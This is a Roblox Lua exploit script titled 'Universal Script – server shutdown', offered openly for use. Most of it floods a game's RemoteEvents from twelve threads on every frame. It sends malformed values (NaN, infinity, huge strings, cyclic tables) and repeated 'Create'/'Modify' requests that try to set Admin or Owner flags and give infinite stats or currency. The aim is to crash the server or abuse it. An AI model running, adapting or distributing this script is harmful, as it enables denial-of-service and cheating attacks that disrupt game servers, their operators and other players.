Universal Script – server shutdown

-- yoohub open source
local Players    = game:GetService("Players")
local RunService = game:GetService("RunService")

local function makeBadPayloads()
    local list = {}

    list[#list+1] = nil
    list[#list+1] = 0/0
    list[#list+1] = math.huge
    list[#list+1] = -math.huge
    list[#list+1] = 2^53
    list[#list+1] = -2^53
    list[#list+1] = 1e308 * 10
    list[#list+1] = string.rep("A", 200000)
    list[#list+1] = string.rep("\0", 10000)
    list[#list+1] = ("%s"):rep(5000)
    list[#list+1] = workspace
    list[#list+1] = game
    list[#list+1] = function() end
    list[#list+1] = coroutine.running()

    do
        local root = {}
        local cur = root
        for i = 1, 100 do cur.next = {}; cur = cur.next end
        list[#list+1] = root
    end

    list[#list+1] = { [1]="a", ["1"]="b", [true]="c", [workspace]="d" }

    do
        local c = {}
        c.self = c
        list[#list+1] = c
    end

    list[#list+1] = true
    list[#list+1] = "not_a_number"
    list[#list+1] = { Name = workspace, Value = 0/0, Amount = math.huge, Price = -1, Id = "x" }
    list[#list+1] = Vector3.new(0/0, math.huge, -math.huge)
    list[#list+1] = CFrame.new(0/0, 0, 0)

    return list
end

local remotes = {}
local function refreshRemotes()
    local found = {}
    for _, d in ipairs(game:GetDescendants()) do
        if d:IsA("RemoteEvent") and d.Name == "hi" then
            found[#found+1] = d
        end
    end
    remotes = found
end

task.spawn(function()
    while true do
        refreshRemotes()
        task.wait(0.5)
    end
end)

local THREADS = 12

for i = 1, THREADS do
    task.spawn(function()
        while true do
            RunService.Heartbeat:Wait()

            for _, remote in ipairs(remotes) do
                for _, payload in ipairs(makeBadPayloads()) do
                    task.spawn(function()
                        pcall(function()
                            remote:FireServer(payload)
                        end)
                    end)
                end

                task.spawn(function()
                    pcall(function()
                        for _ = 1, 20 do
                            remote:FireServer(nil)
                            remote:FireServer(0/0)
                            remote:FireServer(math.huge)
                            remote:FireServer({ Name = "x", Value = 0/0, Amount = math.huge })
                        end
                    end)
                end)
            end
        end
    end)
end

local function sendCreateRequests()
    for _, remote in ipairs(remotes) do
        task.spawn(function()
            pcall(function()
                remote:FireServer("Create", "Part")
                remote:FireServer("Create", "Model")
                remote:FireServer("Create", "Tool")
                remote:FireServer("Create", "Vehicle")
                remote:FireServer("Create", "House")
                remote:FireServer("Create", "Base")
                remote:FireServer("Create", "Pet")
                remote:FireServer("Create", "Weapon")
                remote:FireServer("Create", "Currency")
                remote:FireServer("Create", "Admin")
                remote:FireServer("Create", "All")
                remote:FireServer("Create")

                remote:FireServer({ Action = "Create", Type = "All", Amount = math.huge })
                remote:FireServer({ Action = "Create", Type = "Part", Count = 999999 })
                remote:FireServer({ Action = "Create", Type = "Model", Count = 0/0 })

                for i = 1, 50 do
                    remote:FireServer("Create", "All")
                    remote:FireServer({ Action = "Create", Type = "Everything", Count = math.huge })
                end
            end)
        end)
    end
end

task.spawn(function()
    while true do
        RunService.Heartbeat:Wait()
        sendCreateRequests()
    end
end)

local function sendModifyRequests()
    for _, remote in ipairs(remotes) do
        task.spawn(function()
            pcall(function()
                remote:FireServer("Modify", "Health", 999999)
                remote:FireServer("Modify", "Speed", math.huge)
                remote:FireServer("Modify", "Jump", 0/0)
                remote:FireServer("Modify", "Damage", -999999)
                remote:FireServer("Modify", "Money", 2^53)
                remote:FireServer("Modify", "Level", math.huge)
                remote:FireServer("Modify", "Stat", "All")

                remote:FireServer({ Action = "Modify", Stat = "Health", Value = math.huge })
                remote:FireServer({ Action = "Modify", Stat = "Speed", Value = 0/0 })
                remote:FireServer({ Action = "Modify", Stat = "All", Value = 999999 })
                remote:FireServer({ Action = "Set", Key = "Admin", Value = true })
                remote:FireServer({ Action = "Set", Key = "Owner", Value = true })

                for i = 1, 50 do
                    remote:FireServer("Modify", "All", math.huge)
                    remote:FireServer({ Action = "Modify", Stat = "All", Value = 0/0 })
                end
            end)
        end)
    end
end

task.spawn(function()
    while true do
        RunService.Heartbeat:Wait()
        sendModifyRequests()
    end
end)

Players.PlayerAdded:Connect(function(player)
    player.CharacterAdded:Connect(function(character)
        local hrp = character:WaitForChild("HumanoidRootPart")

        local parts = {}
        for i = 1, 10 do
            local part = Instance.new("Part")
            part.Anchored   = true
            part.CanCollide = false
            part.Size       = Vector3.new(1, 1, 1)
            part.Color      = Color3.fromHSV(i / 10, 1, 1)
            part.Material   = Enum.Material.Neon
            part.Parent     = workspace
            parts[#parts + 1] = part
        end

        local conn
        conn = RunService.Heartbeat:Connect(function()
            if hrp and hrp.Parent then
                for i, part in ipairs(parts) do
                    local offset = Vector3.new(
                        math.cos(os.clock() * 2 + i) * 3,
                        3 + i,
                        math.sin(os.clock() * 2 + i) * 3
                    )
                    part.Position = hrp.Position + offset
                end
            else
                conn:Disconnect()
                for _, p in ipairs(parts) do p:Destroy() end
            end
        end)
    end)
end)